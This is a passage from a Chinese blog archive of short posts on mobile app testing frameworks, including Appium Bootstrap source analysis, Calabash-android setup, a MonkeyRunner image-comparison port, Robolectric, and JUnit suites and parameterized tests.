if (map.containsKey(command.action())) {
return map.get(command.action()).execute(command);
} else {
return new AndroidCommandResult(WDStatus.UNKNOWN_COMMAND,
"Unknown command: " + command.action());
}
} catch (final JSONException e) {
Logger.error("Could not decode action/params of command");
return new AndroidCommandResult(WDStatus.JSON_DECODER_ERROR,
"Could not decode action/params of command, please check format!");
}
}
  它首先叫上面的AndroidCommand解析器把json字串的action给解析出来
  然后通过刚提到的map把这个action对应的CommandHandler的实现类给实例化
  然后调用这个命令处理类的execute方法开始执行命令
  3. 命令处理示例
  我们这里就示例性的看下getText这个action对应的CommandHandler是怎么去通过AndroidElement控件进行设置文本的处理的:
public class GetText extends CommandHandler {
/*
* @param command The {@link AndroidCommand} used for this handler.
*
* @return {@link AndroidCommandResult}
*
* @throws JSONException
*
* @see io.appium.android.bootstrap.CommandHandler#execute(io.appium.android.
* bootstrap.AndroidCommand)
*/
@Override
public AndroidCommandResult execute(final AndroidCommand command)
throws JSONException {
if (command.isElementCommand()) {
// Only makes sense on an element
try {
final AndroidElement el = command.getElement();
return getSuccessResult(el.getText());
} catch (final UiObjectNotFoundException e) {
return new AndroidCommandResult(WDStatus.NO_SUCH_ELEMENT,
e.getMessage());
} catch (final Exception e) { // handle NullPointerException
return getErrorResult("Unknown error");
}
} else {
return getErrorResult("Unable to get text without an element.");
}
}
}
  关键代码就是里面通过AndroidCommand的getElement方法:
  解析传进来的AndroidCommand实例保存的pc端过来的json字串,找到’params‘项的子项’elementId'
  通过这个获得的id去控件哈希表(请查看《Appium Android Bootstrap源码分析之控件AndroidElement》)中找到目标AndroidElement控件对象
  然后调用获得的AndroidElement控件对象的getText方法:
  最终通过调用AndroidElement控件成员UiObject控件对象的getText方法取得控件文本信息
  4. 小结
  bootstrap接收到appium从pc端发送过来的json格式的键值对字串有多个项:
  cmd: 这是一个action还是一个shutdown
  action:如果是一个action的话,那么是什么action,比如click
  params:拥有其他的一些子项,比如指定操作控件在AndroidElementHash维护的控件哈希表的控件键值的'elementId'
  在收到这个json格式命令字串后:
  AndroidCommandExecutor会调用AndroidCommand去解析出对应的action
  然后把action去map到对应的真实命令处理方法CommandHandler的实现子类对象中
  然后调用对应的对象的execute方法来执行命令
相关文章:
Appium Android Bootstrap源码分析之简介
Appium Android Bootstrap之控件AndroidElement

posted @ 2014-12-23 00:25 顺其自然EVO 阅读(2927) | 评论 (0)编辑 收藏

Fliptest—iOS 的应用A/B测试框架

 FlipTest是专为iOS设计的移动应用A/B测试框架,通过它,开发者可以无需重新向App Store提交应用或重构代码,只需添加一行代码,即可直接在iOS应用上进行A/B测试。对移动应用做 A/B 测试是非常难的,而 FlipTest 可以帮你简化这个过程。
  对于想要追求UI极致的开发者而言,FlipTest绝对是最合适的测试框架。FlipTest会为应用选择最恰当的用户界面,还会基于外观、可用性等众多因素返还测试结果,从而帮助开发者彻底解决UI问题。

posted @ 2014-12-23 00:22 顺其自然EVO 阅读(3200) | 评论 (0)编辑 收藏

iOS功能测试工具 Frank

  Frank也是一款深受开发者喜爱的iOS应用测试框架,该框架可以模拟用户操作对应用程序进行黑盒测试,并使用Cucumber作为自然语言来编写测试用例。此外,Frank还会对应用测试操作进行记录,以帮助开发者进行测试回顾。
  一、基本介绍
  Frank是ios开发环境下一款实现自动测试的工具。
  Xcode环境下开发完成后,通过Frank实现结构化的测试用例,其底层语言为Ruby。作为一款开源的iOS测试工具,在国外已经有广泛的应用。但是国内相关资料却比较少。其最大的优点是允许我们用熟悉的自然语言实现实际的操作逻辑。
  一般而言,测试文件由一个.feature文件和一个.rb文件组成。.feature文件包含的是测试操作的自然语言描述部分,内部可以包含多个测试用例,以标签(@tagname)的形式唯一标识,每个用例的首行必须有Scenario: some description;.rb文件则是ruby实现逻辑,通过正则表达式匹配.feature文件中的每一句自然语言,然后执行相应的逻辑操作,最终实现自动测试的目的。
  二、安装
  1.       Terminal 输入sudo gem install frank-cucumber,下载并安装Frank
  2.       Terminal 进入工程所在路径,工程根目录
  3.       输入:frank-skeleton,会在工程根目录新建Frank文件夹
  4.       返回Xcode界面,右键Targets下的APP,选择复制,Duplicate only
  5.       双击APPname copy,更改副本名,例如 Appname Frankified
  6.       右击APP,Add Files to Appname……
  7.       勾选副本,其余取消选定。选择新建的Frank文件夹,Add.
  8.       选择APP,中间部分Build Phases选项卡,Link Binary With LibrariesàCFNetwork.framework,Add.
  9.       依旧中间部分,选择Build Settings选项卡,Other Linker Flags,双击,添加“-all_load”和“ObjC”
  10.   左上角,Scheme Selector,在RUN和STOP按钮的右边,选择Appname copy-IPHONE
  11.   浏览器中打开http://localhost:37265,可以在浏览器中看到植入Frank的应用
  我在添加了两个flag之后老是报错,尝试了N种方法之后索性全部删掉,结果就可以了,无语
  三、基本步骤
  1.       terminal 切换到Frank文件夹所在目录
  2.       frank launch, 打开simulator,开始运行(默认是用IPHONE simulator,要用IPAD simulator时,需要如下命令行,添加参数:frank launch --idiom ipad)
  3.       cucumber Frank/features/my_first.feature --tags @tagname (注意tags前面两个‘-’)PS:如果没有tag则自动运行文件中所有case

posted @ 2014-12-23 00:22 顺其自然EVO 阅读(3218) | 评论 (0)编辑 收藏

iOS单元测试框架Kiwi for iOS

 Kiwi是一个适用于iOS开发的行为驱动开发(BDD)库,因其接口简单而高效,深受开发者的欢迎,也因此,成为了许多开发新手的首选测试平台。和大多数iOS测试框架一样,Kiwi使用Objective-C语言编写,因此对于iOS开发者而言,绝对称得上是最佳测试拍档。
  示例代码:
describe(@"Team", ^{
context(@"when newly created", ^{
it(@"should have a name", ^{
id team = [Team team];
[[team.name should] equal:@"Black Hawks"];
});
it(@"should have 11 players", ^{
id team = [Team team];
[[[team should] have:11] players];
});
});
});

posted @ 2014-12-23 00:21 顺其自然EVO 阅读(743) | 评论 (0)编辑 收藏

移动应用测试框架—AppGrader(Android)

  AppGrader是来自以色列的应用测试服务商uTest推出的一款测试产品。相比其他主流移动应用测试框架,AppGrader可能并不太为开发者所熟知,但它却能够为众多的Android开发者提供非常专业的意见参考。
  通过AppGrader,开发者可以将自己所开发的应用与其他同类应用就图形、功能及其他方面进行比较,从而对应用进行改善。据悉,继AppGrader for Android之后,uTest还将推出AppGrader for iOS。

posted @ 2014-12-23 00:20 顺其自然EVO 阅读(485) | 评论 (0)编辑 收藏

移动应用测试框架—Cedar(iOS)

 和Kiwi一样,Cedar也是一款BDD风格的Objective-C测试框架。它不仅适用于iOS和OS X代码库,而且在其他环境下也可以使用。
  Kiwi、Specta、Expecta以及Cedar都可以通过CocoaPods添加到你的项目中。

posted @ 2014-12-23 00:19 顺其自然EVO 阅读(452) | 评论 (0)编辑 收藏

Appium Android Bootstrap之控件AndroidElement

通过上一篇文章Appium Android Bootstrap源码分析之简介》我们对bootstrap的定义以及其在appium和uiautomator处于一个什么样的位置有了一个初步的了解,那么按照正常的写书的思路,下一个章节应该就要去看bootstrap是如何建立socket来获取数据然后怎样进行处理的了。但本人觉得这样子做并不会太好,因为到时整篇文章会变得非常的冗长,因为你在编写的过程中碰到不认识的类又要跳入进去进行说明分析。这里我觉得应该尝试吸取著名的《重构》这本书的建议:一个方法的代码不要写得太长,不然可读性会很差,尽量把其分解成不同的函数。那我们这里就是用类似的思想,不要尝试在一个文章中把所有的事情都做完,而是尝试先把关键的类给描述清楚,最后才去把这些类通过一个实例分析给串起来呈现给读者,这样大家就不会因为一个文章太长影响可读性而放弃往下学习了。
  那么我们这里为什么先说bootstrap对控件的处理,而非刚才提到的socket相关的socket服务器的建立呢?我是这样子看待的,大家看到本人这篇文章的时候,很有可能之前已经了解过本人针对uiautomator源码分析那个系列的文章了,或者已经有uiautomator的相关知识,所以脑袋里会比较迫切的想知道究竟appium是怎么运用了uiautomator的,那么在appium中于这个问题最贴切的就是appium在服务器端是怎么使用了uiautomator的控件的。
  这里我们主要会分析两个类:
  AndroidElement:代表了bootstrap持有的一个ui界面的控件的类,它拥有一个UiObject成员对象和一个代表其在下面的哈希表的键值的String类型成员变量id
  AndroidElementsHash:持有了一个包含所有bootstrap(也就是appium)曾经见到过的(也就是脚本代码中findElement方法找到过的)控件的哈希表,它的key就是AndroidElement中的id,每当appium通过findElement找到一个新控件这个id就会+1,Appium的pc端和bootstrap端都会持有这个控件的id键值,当需要调用一个控件的方法时就需要把代表这个控件的id键值传过来让bootstrap可以从这个哈希表找到对应的控件
  1. AndroidElement和UiObject的组合关系
  从上面的描述我们可以知道,AndroidElement这个类里面拥有一个UiObject这个变量:
  public class AndroidElement {
  private final UiObject el;
  private String         id;
  ...
  }
  大家都知道UiObject其实就是UiAutomator里面代表一个控件的类,通过它就能够对控件进行操作(当然最终还是通过UiAutomation框架). AnroidElement就是通过它来跟UiAutomator发生关系的。我们可以看到下面的AndroidElement的点击click方法其实就是很干脆的调用了UiObject的click方法:
  public boolean click() throws UiObjectNotFoundException {
  return el.click();
  }
  当然这里除了click还有很多控件相关的操作,比如dragTo,getText,longClick等,但无一例外,都是通过UiObject来实现的,这里就不一一列举了。
  2. 脚本的WebElement和Bootstrap的AndroidElement的映射关系
  我们在脚本上对控件的认识就是一个WebElement:
  WebElement addNote =  driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  而在Bootstrap中一个对象就是一个AndroidElement. 那么它们是怎么映射到一起的呢?我们其实可以先看如下的代码:
  WebElement addNote = driver.findElementByAndroidUIAutomator("new UiSelector().text(\"Add note\")");
  addNote.getText();
  addNote.click();
  做的事情就是获得Notes这个app的菜单,然后调用控件的getText来获得‘Add note'控件的文本信息,以及通过控件的click方法来点击该控件。那么我们看下调试信息是怎样的:
  3. AndroidElement控件哈希表
  上一节我们说到appium pc端是通过id把WebElement和目标机器端的AndroidElement映射起来的,那么我们这一节就来看下维护AndroidElement的这个哈希表是怎么实现的。
  首先,它拥有两个成员变量:
  private final Hashtable<String, AndroidElement> elements;
  private       Integer                           counter;
  elements :一个以AndroidElement 的id的字串类型为key,以AndroidElement的实例为value的的哈希表
  counter : 一个整型变量,有两个作用:其一是它代表了当前已经用到的控件的数目(其实也不完全是,你在脚本中对同一个控件调用两次findElement其实会产生两个不同id的AndroidElement控件),其二是它代表了一个新用到的控件的id,而这个id就是上面的elements哈希表的键
  这个哈希表的键值都是从0开始的,请看它的构造函数:
  /**
  * Constructor
  */
  public AndroidElementsHash() {
  counter = 0;
  elements = new Hashtable<String, AndroidElement>();
  }
  而它在整个Bootstrap中是有且只有一个实例的,且看它的单例模式实现:
  public static AndroidElementsHash getInstance() {
  if (AndroidElementsHash.instance == null) {
  AndroidElementsHash.instance = new AndroidElementsHash();
  }
  return AndroidElementsHash.instance;
  }
  以下增加一个控件的方法addElement充分描述了为什么说counter是一个自增加的key,且是每个新发现的AndroidElement控件的id:
  public AndroidElement addElement(final UiObject element) {
  counter++;
  final String key = counter.toString();
  final AndroidElement el = new AndroidElement(key, element);
  elements.put(key, el);
  return el;
  }
  从Appium发过来的控件查找命令大方向上分两类:
  1. 直接基于Appium Driver来查找,这种情况下appium发过来的json命令是不包含控件哈希表的键值信息的
  WebElement addNote = driver.findElement(By.name("Add note"));
  2. 基于父控件查找:
  WebElement el = driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
  以上的脚本会先尝试找到Note1这个日记的父控件ListView,并把这个控件保存到控件哈希表,然后再根据父控件的哈希表键值以及子控件的选择子找到想要的Note1:
AndroidElementHash的这个getElement命令要做的事情就是针对这两点来根据不同情况获得目标控件
/**
* Return an elements child given the key (context id), or uses the selector
* to get the element.
*
* @param sel
* @param key
*          Element id.
* @return {@link AndroidElement}
* @throws ElementNotFoundException
*/
public AndroidElement getElement(final UiSelector sel, final String key)
throws ElementNotFoundException {
AndroidElement baseEl;
baseEl = elements.get(key);
UiObject el;
if (baseEl == null) {
el = new UiObject(sel);
} else {
try {
el = baseEl.getChild(sel);
} catch (final UiObjectNotFoundException e) {
throw new ElementNotFoundException();
}
}
if (el.exists()) {
return addElement(el);
} else {
throw new ElementNotFoundException();
}
}
  如果是第1种情况就直接通过选择子构建UiObject对象,然后通过addElement把UiObject对象转换成AndroidElement对象保存到控件哈希表
  如果是第2种情况就先根据appium传过来的控件哈希表键值获得父控件,再通过子控件的选择子在父控件的基础上查找到目标UiObject控件,最后跟上面一样把该控件通过上面的addElement把UiObject控件转换成AndroidElement控件对象保存到控件哈希表
  4. 求证
  上面有提过,如果pc端的脚本执行对同一个控件的两次findElement会创建两个不同id的AndroidElement并存放到控件哈希表中,那么为什么appium的团队没有做一个增强,增加一个keyMap的方法(算法)和一些额外的信息来让同一个控件使用不同的key的时候对应的还是同一个AndroidElement控件呢?毕竟这才是哈希表实用的特性之一了,不然你直接用一个Dictionary不就完事了?网上说了几点hashtable和dictionary的差别,如多线程环境最好使用哈希表而非字典等,但在bootstrap这个控件哈希表的情况下我不是很信服这些说法,有谁清楚的还劳烦指点一二了
  这里至于为什么appium不去提供额外的key信息并且实现keyMap算法,我个人倒是认为有如下原因:
  有谁这么无聊在同一个测试方法中对同一个控件查找两次?
  如果同一个控件运用不同的选择子查找两次的话,因为最终底层的UiObject的成员变量UiSelector mSelector不一样,所以确实可以认为是不同的控件
  但以下两个如果用同样的UiSelector选择子来查找控件的情况我就解析不了了,毕竟在我看来bootstrap这边应该把它们看成是同一个对象的:
  同一个脚本不同的方法中分别对同一控件用同样的UiSelelctor选择子进行查找呢?
  不同脚本中呢?
  这些也许在今后深入了解中得到解决,但看家如果知道的,还望不吝赐教
  5. 小结
  最后我们对bootstrap的控件相关知识点做一个总结
  AndroidElement的一个实例代表了一个bootstrap的控件
  AndroidElement控件的成员变量UiObject el代表了uiautomator框架中的一个真实窗口控件,通过它就可以直接透过uiautomator框架对控件进行实质性操作
  pc端的WebElement元素和Bootstrap的AndroidElement控件是通过AndroidElement控件的String id进行映射关联的
  AndroidElementHash类维护了一个以AndroidElement的id为键值,以AndroidElement的实例为value的全局唯一哈希表,pc端想要获得一个控件的时候会先从这个哈希表查找,如果没有了再创建新的AndroidElement控件并加入到该哈希表中,所以该哈希表中维护的是一个当前已经使用过的控件
相关文章:
Appium Android Bootstrap源码分析之简介

posted @ 2014-12-23 00:18 顺其自然EVO 阅读(623) | 评论 (0)编辑 收藏

iOS应用功能测试框架 KIF概述

  KIF的全称是Keep It Functional,来自Square,是一款专为iOS设计的移动应用测试框架。由于KIF是使用Objective-C语言编写的,因此,对于iOS开发者而言,用起来要更得心应手,可以称得上是一款非常值得收藏的iOS测试利器。
  KIF最酷的地方是它是一个开源的项目,且有许多新功能还在不断开发中。例如下一个版本将会提供截屏的功能并且能够保存下来。这意味着当你跑完测试之后,可以在你空闲时通过截图来查看整个过程中的关键点。难道这不是比鼠标移动上去并用肉眼观察KIF点击和拖动整个过程好上千倍万倍么?KIF变得越来越好了,所以学习如何使用它,对于自己来说是一个很好的投资。
  由于KIF测试用例是继承了OCUnit,并使用了标准的Xcode5测试框架,你可以使用持续集成来跑这个测试。当你在忙着别的事情的时候,就拥有了一个能够像人的手指一样准点触控的机器人去测试你的应用程序。太棒了!

posted @ 2014-12-23 00:17 顺其自然EVO 阅读(384) | 评论 (0)编辑 收藏

移动应用测试框架—Calabash Android 简介

什么是 Calabash
  Calabash 是一个自动化测试框架,它可以测试 Android 和 iOS 原生应用和混合应用。
  它有:
  calabash-android
  calabash-ios
  主页: http://calabash.sh
  Calabash-android介绍
  Calabash-android 是支持 android 的 UI 自动化测试框架,PC 端使用了 cucumber 框架,通过 http 和 json 与模拟器和真机上安装的测试 apk 通信,测试 apk 调用 Robotium 的方法来进行 UI 自动化测试,支持 webview 操作。
  Calabash-android 架构图
  Features —— 这里的 feature 就是 cucumber 的 feature,用来描述 user stories 。
  Step Definitions —— Calabash Android 事先已经定义了一些通用的 step。你可以根据自己的需求,定义更加复杂的步骤。
  Your app —— 测试之前,你不必对你的应用修改。(这里其实是有问题,后面我们会说到。)
  Instrumentation Test Server —— 这是一个应用,在运行测试的时候会被安装到设备中去。 这个应用是基于 Android SDK 里的 ActivityInstrumentationTestCase2。它是 Calabash Android 框架的一部分。Robotium 就集成在这个应用里。
  Calabash-android 环境搭建
  ruby 环境
  rvm
  rbenv
  RubyInstaller.org for windows
  Android 开发环境
  JAVA
  Android SDK
  Ant
  指定 JAVA 环境变量, Android SDK 环境变量(ANDROID_HOME), Ant 加入到 PATH 中去。
  安装 Calabash-android
  gem install calabash-android
  sudo gem install calabash-android # 如果权限不够用这个。
  如有疑问,请参考: https://github.com/calabash/calabash-android/blob/master/documentation/installation.md
  创建 calabash-android 的骨架
  calabash-android gen
  会生成如下的目录结构:
  ?  calabash  tree
  .
  features
  |_support
  | |_app_installation_hooks.rb
  | |_app_life_cycle_hooks.rb
  | |_env.rb
  |_step_definitions
  | |_calabash_steps.rb
  |_my_first.feature
写测试用例
  像一般的 cucumber 测试一样,我们只要在 feature 文件里添加测试用例即可。比如我们测试 ContactManager.apk (android sdk sample 里面的, Appium 也用这个 apk)。
  我们想实现,
  打开这个应用
  点击 Add Contact 按钮
  添加 Contact Name 为 hello
  添加 Contact Phone 为 13817861875
  添加 Contact Email 为 hengwen@hotmail.com
  保存
 所以我们的 feature 应该是这样的:
  Feature: Login feature  Scenario: As a valid user I can log into my app    When I press "Add Contact"
  Then I see "Target Account"
  Then I enter "hello" into input field number 1    Then I enter "13817861875" into input field number 2    Then I enter "hengwen@hotmail.com" into input field number 3    When I press "Save"
  Then I wait for 1 second    Then I toggle checkbox number 1    Then I see "hello"
  这里 input field number 就针对了 ContactAdder Activity 中输入框。我现在这样写其实不太友好,比较好的方式是进行再次封装,对 DSL 撰写者透明。比如:
When I enter "hello" as "Contact Name"
step_definition
When (/^I enter "([^\"]*)" as "([^\"]*)"$/) do | text, target |
index = case target
when "Contact Name": 1
...
end
steps %{
Then I enter #{text} into input field number #{index}
}end
  这样 feature 可读性会强一点。
  运行 feature
  在运行之前,我们对 apk 还是得处理下,否则会遇到一些问题。
  App did not start (RuntimeError)
  因为calabash-android的client和test server需要通信,所以要在 AndroidManifest.xml 中添加权限:
  <uses-permission android:name="android.permission.INTERNET" />
  ContacterManager 代码本身的问题
  由于 ContacerManager 运行时候,需要你一定要有一个账户,如果没有账户 Save 的时候会出错。为了便于运行,我们要修改下。
  源代码地址在 $ANDROID_HOME/samples/android-19/legacy/ContactManager,大家自己去找。
  需要修改 com.example.android.contactmanager.ContactAdder 类里面的 createContactEntry 方法,我们需要对 mSelectedAccount 进行判断, 修改地方如下:
// Prepare contact creation request
//
// Note: We use RawContacts because this data must be associated with a particular account.
//       The system will aggregate this with any other data for this contact and create a
//       coresponding entry in the ContactsContract.Contacts provider for us.
ArrayList<ContentProviderOperation> ops = new ArrayList<ContentProviderOperation>();
if(mSelectedAccount != null ) {
ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
.withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, mSelectedAccount.getType())
.withValue(ContactsContract.RawContacts.ACCOUNT_NAME, mSelectedAccount.getName())
.build());
} else {
ops.add(ContentProviderOperation.newInsert(ContactsContract.RawContacts.CONTENT_URI)
.withValue(ContactsContract.RawContacts.ACCOUNT_TYPE, null)
.withValue(ContactsContract.RawContacts.ACCOUNT_NAME, null)
.build());
}....
if (mSelectedAccount != null) {
// Ask the Contact provider to create a new contact
Log.i(TAG,"Selected account: " + mSelectedAccount.getName() + " (" +
mSelectedAccount.getType() + ")");
} else {
Log.i(TAG,"No selected account");
}
  代码修改好之后,导出 apk 文件。
  运行很简单:
  calabash-android run <apk>
  如果遇到签名问题,请用: calabash-android resign apk。
  可以看看我运行的情况:
?  calabash  calabash-android run ContactManager.apk
Feature: Login feature
Scenario: As a valid user I can log into my app                # features/my_first.feature:33135 KB/s (556639 bytes in 0.173s)3315 KB/s (26234 bytes in 0.007s)
When I press "Add Contact"                                   # calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17
Then I see "Target Account"                                  # calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:5
Then I enter "hello" into input field number 1               # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5
Then I enter "13817861875" into input field number 2         # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5
Then I enter "hengwen@hotmail.com" into input field number 3 # calabash-android-0.4.21/lib/calabash-android/steps/enter_text_steps.rb:5
When I press "Save"                                          # calabash-android-0.4.21/lib/calabash-android/steps/press_button_steps.rb:17
Then I wait for 1 second                                     # calabash-android-0.4.21/lib/calabash-android/steps/progress_steps.rb:18
Then I toggle checkbox number 1                              # calabash-android-0.4.21/lib/calabash-android/steps/check_box_steps.rb:1
Then I see "hello"                                           # calabash-android-0.4.21/lib/calabash-android/steps/assert_steps.rb:51 scenario (1 passed)9 steps (9 passed)0m28.304s
All pass!
  大家看到 gif 是 failed,是因为在模拟器上运行的。而上面全部通过的是我在海信手机上运行的。环境不一样,略有差异。
  总结
  本文是对 calabash-android 的一个简单介绍,做的是抛砖引玉的活。移动测试框架并非 Appium 一家,TesterHome 希望其他框架的话题也能热火起来。watch and learn!

posted @ 2014-12-23 00:15 顺其自然EVO 阅读(826) | 评论 (0)编辑 收藏

Appium Server源码分析之作为Bootstrap客户端

     摘要: Appium Server拥有两个主要的功能:  它是个http服务器,它专门接收从客户端通过基于http的REST协议发送过来的命令  他是bootstrap客户端:它接收到客户端的命令后,需要想办法把这些命令发送给目标安卓机器的bootstrap来驱动uiatuomator来做事情  通过上一篇文章《Appium Server 源码分析之启动运行Express http服务器》我们分...  阅读全文

posted @ 2014-12-23 00:14 顺其自然EVO 阅读(3495) | 评论 (0)编辑 收藏

移植MonkeyRunner的图片对比功能实现-Appium篇

 如果你的目标测试app有很多imageview组成的话,这个时候monkeyrunner的截图比较功能就体现出来了。而其他几个流行的框架如Robotium,UIAutomator以及Appium都提供了截图,但少了两个功能:
  获取子图
  图片比较
  既然Google开发的MonkeyRunner能盛行这么久,且它体功能的结果验证功能只有截屏比较,那么必然有它的道理,有它存在的价值,所以我们很有必要在需要的情况下把它相应的功能给移植到其他框架上面上来。
  经过本人前面文章描述的几个框架的源码的研究(robotium还没有做),大家可以知道MonkeyRunner是跑在PC端的,只有在需要发送相应的命令事件时才会驱动目标机器的monkey或者shell等。比如获取图片是从目标机器的buffer设备得到,但是比较图片和获取子图是从客户PC端做的。
  这里Appium工作的方式非常的类似,因为它也是在客户端跑,但需要注入事件发送命令时还是通过目标机器段的bootstrap来驱动uiatuomator来完成的,所以要把MonkeyRunner的获取子图已经图片比较的功能移植过来是非常容易的事情。
  但UiAutomator就是另外一回事了,因为它完全是在目标机器那边跑的,所以你的代码必须要android那边支持,所以本人在移植到UiAutomator上面就碰到了问题,这里先给出Appium 上面的移植,以方便大家的使用,至于UiAutomator和Robotium的,今后本人会酌情考虑是否提供给大家。
  还有就是这个移植过来的代码没有经过优化的,比如失败是否保存图片以待今后查看等。大家可以基于这个基础实现满足自己要求的功能
  1. 移植代码
  移植代码放在一个Util.java了工具类中:
public static boolean sameAs(BufferedImage myImage,BufferedImage otherImage, double percent)
{
//BufferedImage otherImage = other.getBufferedImage();
//BufferedImage myImage = getBufferedImage();
if (otherImage.getWidth() != myImage.getWidth()) {
return false;
}
if (otherImage.getHeight() != myImage.getHeight()) {
return false;
}
int[] otherPixel = new int[1];
int[] myPixel = new int[1];
int width = myImage.getWidth();
int height = myImage.getHeight();
int numDiffPixels = 0;
for (int y = 0; y < height; y++) {
for (int x = 0; x < width; x++) {
if (myImage.getRGB(x, y) != otherImage.getRGB(x, y)) {
numDiffPixels++;
}
}
}
double numberPixels = height * width;
double diffPercent = numDiffPixels / numberPixels;
return percent <= 1.0D - diffPercent;
}
public static BufferedImage getSubImage(BufferedImage image,int x, int y, int w, int h)
{
return image.getSubimage(x, y, w, h);
}
public static BufferedImage getImageFromFile(File f) {
BufferedImage img = null;
try {
img = ImageIO.read(f);
} catch (IOException e) {
//if failed, then copy it to local path for later check:TBD
//FileUtils.copyFile(f, new File(p1));
e.printStackTrace();
System.exit(1);
}
return img;
}
这里就不多描述了,基本上就是基于MonkeyRunner做轻微的修改,所以叫做移植。而UiAutomator就可能需要大改动,要重现实现了。
 2. 客户端调用代码举例
packagesample.demo.AppiumDemo;
importstaticorg.junit.Assert.*;
importjava.awt.image.BufferedImage;
importjava.io.File;
importjava.io.IOException;
importjava.net.URL;
importjavax.imageio.ImageIO;
importlibs.Util;
importio.appium.java_client.android.AndroidDriver;
importorg.apache.commons.io.FileUtils;
importorg.junit.After;
importorg.junit.Before;
importorg.junit.Test;
importorg.openqa.selenium.By;
importorg.openqa.selenium.OutputType;
importorg.openqa.selenium.WebElement;
importorg.openqa.selenium.remote.DesiredCapabilities;
publicclassCompareScreenShots{
privateAndroidDriverdriver;
@Before
publicvoidsetUp()throwsException{
DesiredCapabilitiescap=newDesiredCapabilities();
cap.setCapability("deviceName","Android");
cap.setCapability("appPackage","com.example.android.notepad");
cap.setCapability("appActivity",".NotesList");
driver=newAndroidDriver(newURL("http://127.0.0.1:4723/wd/hub"),cap);
}
@After
publicvoidtearDown()throwsException{
driver.quit();
}
@Test
publicvoidcompareScreenAndSubScreen()throwsInterruptedException,IOException{
Thread.sleep(2000);
WebElementel=driver.findElement(By.className("android.widget.ListView")).findElement(By.name("Note1"));
el.click();
Thread.sleep(1000);
Stringp1="C:/1";
Stringp2="C:/2";
Filef2=newFile(p2);
Filef1=driver.getScreenshotAs(OutputType.FILE);
FileUtils.copyFile(f1,newFile(p1));
BufferedImageimg1=Util.getImageFromFile(f1);
f2=driver.getScreenshotAs(OutputType.FILE);
FileUtils.copyFile(f2,newFile(p2));
BufferedImageimg2=Util.getImageFromFile(f2);
Booleansame=Util.sameAs(img1,img2,0.9);
assertTrue(same);
BufferedImagesubImg1=Util.getSubImage(img1,6,39,474,38);
BufferedImagesubImg2=Util.getSubImage(img1,6,39,474,38);
same=Util.sameAs(subImg1,subImg2,1);
Filef3=newFile("c:/sub-1.png");
ImageIO.write(subImg1,"PNG",f3);
Filef4=newFile("c:/sub-2.png");
ImageIO.write(subImg1,"PNG",f4);
}
}
  也不多解析了,没有什么特别的东西。
  大家用得上的就支持下就好了...

posted @ 2014-12-23 00:10 顺其自然EVO 阅读(998) | 评论 (0)编辑 收藏

Android单元测试框架 Robolectric

 Android开发者们注意了,这款测试框架一定会让你们兴奋不已,因为它是一款已基本上摆脱了模拟器测试的老套路的速率单元测试框架Robolectric可以解压Android SDK,还能直接对应用进行测试,从而帮你轻而易举地解决所遇到的任何问题。
  Robolectric 是一款Android单元测试框架,示例代码:
@RunWith(RobolectricTestRunner.class)
public class MyActivityTest {
@Test
public void clickingButton_shouldChangeResultsViewText() throws Exception {
Activity activity = Robolectric.buildActivity(MyActivity.class).create().get();
Button pressMeButton = (Button) activity.findViewById(R.id.press_me_button);
TextView results = (TextView) activity.findViewById(R.id.results_text_view);
pressMeButton.performClick();
String resultsText = results.getText().toString();
assertThat(resultsText, equalTo("Testing Android Rocks!"));
}
}

posted @ 2014-12-23 00:08 顺其自然EVO 阅读(448) | 评论 (0)编辑 收藏

JUnit中的测试套件和参数化测试

JUnit4.x的测试运行器
  JUnit单元测试提供了默认的测试运行器,它的测试方法都是由它负责执行的
  我们也可以定制自己的运行器,所有的运行器都继承自org.junit.runner.Runner
  还可以使用org.junit.runer.RunWith注解 为每个测试类指定使用具体的运行器
  一般情况下,默认测试运行器可以应对绝大多数的单元测试要求
  当使用JUnit提供的一些高级特性,或者针对特殊需求定制JUnit测试方式时
  显式的声明测试运行就必不可少了
  JUnit4.x测试套件的创建步骤
  ① 创建一个空类作为测试套件的入口
  ② 使用org.junit.runner.RunWith 和org.junit.runners.Suite.SuiteClasses注解 修饰该空类
  ③ 将org.junit.runners.Suite 作为参数传入RunWith注解,即使用套件运行器执行此类
  ④ 将需要放入此测试套件的测试类组成数组,作为SuiteClasses注解的参数
  ⑤ 保证这个空类使用public 修饰,而且存在公开的不带有任何参数的构造函数
  下面是JUnit4.x中创建测试套件类的示例代码
package com.jadyer.junit4;
import org.junit.runner.RunWith;
import org.junit.runners.Suite;
import org.junit.runners.Suite.SuiteClasses;
/**
* JUnit4.x测试套件的举例
* @see 下面的CalculatorTest.class和ParameterTest.class均为我们自己编写的JUnit4单元测试类
*/
@RunWith(Suite.class)
@SuiteClasses({CalculatorTest.class, ParameterTest.class})
public class TestAll {}
  下面是JUnit3.8中创建测试套件类的示例代码
package com.jadyer.junit3;
import junit.framework.Test;
import junit.framework.TestCase;
import junit.framework.TestSuite;
/**
* JUnit3.8中批量运行所有的测试类。。直接在该类上Run As JUnit Test即可
* @see 这里就用到了设计模式中典型的组合模式,即将不同的东西组合起来
* @see 组合之后的东西,即可以包含本身,又可以包含组成它的某一部分
* @see TestSuite本身是由TestCase来组成的,那么TestSuite里面就可以包含TestCase
* @see 同时TestSuite里面还可以继续包含TestSuite,形成一种递归的关系
* @see 这里就体现出来了,所以这是一种非常非常好的设计模式,一种好的策略
*/
public class TestAll extends TestCase {
//方法名固定的,必须为public static Test suite()
public static Test suite() {
//TestSuite类实现了Test接口
TestSuite suite = new TestSuite();
//这里传递的是测试类的Class对象。该方法还可以接收TestSuite类型对象
suite.addTestSuite(CalculatorTest.class);
suite.addTestSuite(MyStackTest.class);
return suite;
}
}


JUnit4.X的参数化测试
  为保证单元测试的严谨性,通常会模拟不同的测试数据来测试方法的处理能力
  为此我们需要编写大量的单元测试的方法,可是这些测试方法都是大同小异的
  它们的代码结构都是相同的,不同的仅仅是测试数据和期望值
  这时可以使用JUnit4的参数化测试,提取测试方法中相同代码 ,提高代码重用度
  而JUnit3.8对于此类问题,并没有很好的解决方法,JUnit4.x弥补了JUnit3.8的不足
  参数化测试的要点
